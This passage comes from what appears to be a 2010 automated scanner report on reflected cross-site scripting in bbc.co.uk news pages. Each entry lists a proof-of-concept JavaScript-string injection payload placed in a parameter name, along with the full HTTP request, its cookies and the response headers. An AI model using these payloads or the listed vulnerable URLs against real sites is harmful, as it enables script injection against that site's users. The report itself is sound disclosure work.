The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ffc3f'-alert(1)-'bc7ea7cdbff was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/science-environment-11938904?ffc3f'-alert(1)-'bc7ea7cdbff=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:02 GMT Keep-Alive: timeout=10, max=751 Expires: Thu, 16 Dec 2010 19:28:02 GMT Connection: close Content-Length: 64877
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.73. http://www.bbc.co.uk/news/science-environment-12007965 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bbc.co.uk
Path:
/news/science-environment-12007965
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2dd7f'-alert(1)-'02cd49c43e1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/science-environment-12007965?2dd7f'-alert(1)-'02cd49c43e1=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:02 GMT Keep-Alive: timeout=10, max=555 Expires: Thu, 16 Dec 2010 19:28:02 GMT Connection: close Content-Length: 59630
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.74. http://www.bbc.co.uk/news/science_and_environment/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bbc.co.uk
Path:
/news/science_and_environment/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7d546'-alert(1)-'f8c3281a0a1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/science_and_environment/?7d546'-alert(1)-'f8c3281a0a1=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:43:53 GMT Keep-Alive: timeout=10, max=724 Expires: Thu, 16 Dec 2010 19:43:53 GMT Connection: close Content-Length: 65531
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.75. http://www.bbc.co.uk/news/technology/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bbc.co.uk
Path:
/news/technology/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 65033'-alert(1)-'f119706f282 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/technology/?65033'-alert(1)-'f119706f282=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:43:53 GMT Keep-Alive: timeout=10, max=787 Expires: Thu, 16 Dec 2010 19:43:53 GMT Connection: close Content-Length: 60095
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.76. http://www.bbc.co.uk/news/uk-12005930 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bbc.co.uk
Path:
/news/uk-12005930
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f0936'-alert(1)-'2ad05f35490 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/uk-12005930?f0936'-alert(1)-'2ad05f35490=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:27:36 GMT Keep-Alive: timeout=10, max=661 Expires: Thu, 16 Dec 2010 19:27:36 GMT Connection: close Content-Length: 70960
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.77. http://www.bbc.co.uk/news/uk-12006061 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bbc.co.uk
Path:
/news/uk-12006061
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ad9d1'-alert(1)-'f2889195cec was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/uk-12006061?ad9d1'-alert(1)-'f2889195cec=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:27:58 GMT Keep-Alive: timeout=10, max=718 Expires: Thu, 16 Dec 2010 19:27:58 GMT Connection: close Content-Length: 58471
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.78. http://www.bbc.co.uk/news/uk-12006670 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bbc.co.uk
Path:
/news/uk-12006670
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload af270'-alert(1)-'f991899cdc2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/uk-12006670?af270'-alert(1)-'f991899cdc2=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:27:59 GMT Keep-Alive: timeout=10, max=790 Expires: Thu, 16 Dec 2010 19:27:59 GMT Connection: close Content-Length: 81515
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.79. http://www.bbc.co.uk/news/uk-england-lancashire-12007100 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bbc.co.uk
Path:
/news/uk-england-lancashire-12007100
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f8504'-alert(1)-'d41b2b2b8bd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/uk-england-lancashire-12007100?f8504'-alert(1)-'d41b2b2b8bd=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:27:56 GMT Keep-Alive: timeout=10, max=663 Expires: Thu, 16 Dec 2010 19:27:56 GMT Connection: close Content-Length: 61859
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.80. http://www.bbc.co.uk/news/uk-england-london-11990646 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bbc.co.uk
Path:
/news/uk-england-london-11990646
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9ff5e'-alert(1)-'69915057a09 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/uk-england-london-11990646?9ff5e'-alert(1)-'69915057a09=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:03 GMT Keep-Alive: timeout=10, max=710 Expires: Thu, 16 Dec 2010 19:28:03 GMT Connection: close Content-Length: 63813
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.81. http://www.bbc.co.uk/news/uk-scotland-12000741 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bbc.co.uk
Path:
/news/uk-scotland-12000741
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dd6c6'-alert(1)-'8385b3cc530 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/uk-scotland-12000741?dd6c6'-alert(1)-'8385b3cc530=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:28:01 GMT Keep-Alive: timeout=10, max=748 Expires: Thu, 16 Dec 2010 19:28:01 GMT Connection: close Content-Length: 73185
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.82. http://www.bbc.co.uk/news/world-africa-12007523 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bbc.co.uk
Path:
/news/world-africa-12007523
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1c1f2'-alert(1)-'269ea843804 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/world-africa-12007523?1c1f2'-alert(1)-'269ea843804=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:27:46 GMT Keep-Alive: timeout=10, max=700 Expires: Thu, 16 Dec 2010 19:27:46 GMT Connection: close Content-Length: 63703
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.83. http://www.bbc.co.uk/news/world-europe-11342247 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bbc.co.uk
Path:
/news/world-europe-11342247
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cae1c'-alert(1)-'232bc5d3c98 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/world-europe-11342247?cae1c'-alert(1)-'232bc5d3c98=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:27:54 GMT Keep-Alive: timeout=10, max=706 Expires: Thu, 16 Dec 2010 19:27:54 GMT Connection: close Content-Length: 63507
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.84. http://www.bbc.co.uk/news/world-europe-12011212 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bbc.co.uk
Path:
/news/world-europe-12011212
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ef5d9'-alert(1)-'64be3be3569 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/world-europe-12011212?ef5d9'-alert(1)-'64be3be3569=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:27:51 GMT Keep-Alive: timeout=10, max=659 Expires: Thu, 16 Dec 2010 19:27:51 GMT Connection: close Content-Length: 57049
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.85. http://www.bbc.co.uk/news/world-europe-12013182 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bbc.co.uk
Path:
/news/world-europe-12013182
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ca488'-alert(1)-'a9ed77167d5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/world-europe-12013182?ca488'-alert(1)-'a9ed77167d5=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:27:48 GMT Keep-Alive: timeout=10, max=744 Expires: Thu, 16 Dec 2010 19:27:48 GMT Connection: close Content-Length: 56127
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.86. http://www.bbc.co.uk/news/world-middle-east-12011660 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bbc.co.uk
Path:
/news/world-middle-east-12011660
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e6c1c'-alert(1)-'483aaf41a1d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/world-middle-east-12011660?e6c1c'-alert(1)-'483aaf41a1d=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:27:48 GMT Keep-Alive: timeout=10, max=730 Expires: Thu, 16 Dec 2010 19:27:48 GMT Connection: close Content-Length: 56325
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.87. http://www.bbc.co.uk/news/world-south-asia-12006092 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bbc.co.uk
Path:
/news/world-south-asia-12006092
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload eb383'-alert(1)-'7a69f6c638e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/world-south-asia-12006092?eb383'-alert(1)-'7a69f6c638e=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:27:51 GMT Keep-Alive: timeout=10, max=751 Expires: Thu, 16 Dec 2010 19:27:51 GMT Connection: close Content-Length: 60462
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.88. http://www.bbc.co.uk/news/world-us-canada-12012762 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.bbc.co.uk
Path:
/news/world-us-canada-12012762
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a445c'-alert(1)-'0562616bfd5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /news/world-us-canada-12012762?a445c'-alert(1)-'0562616bfd5=1 HTTP/1.1 Host: www.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10139|J08781_10277; BBC-UID=843d706a56c7ddbd797feb4cd10d2edf1ab4a609204001e172f2531334d4f5250Mozilla%2f5%2e0%20%28Windows%3b%20U%3b%20Windows%20NT%205%2e2%3b%20en%2dUS%29%20AppleWebKit%2f534%2e10%20%28KHTML%2c%20like%20Gecko%29%20Chrome%2f8%2e0%2e552%2e224%20Safari%2f534%2e10; __qca=P0-1418742289-1292527596489;
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html Date: Thu, 16 Dec 2010 19:27:35 GMT Keep-Alive: timeout=10, max=724 Expires: Thu, 16 Dec 2010 19:27:35 GMT Connection: close Content-Length: 66854
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd">
2.89. http://www.bbc.co.uk/news/world-us-canada-12013186 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
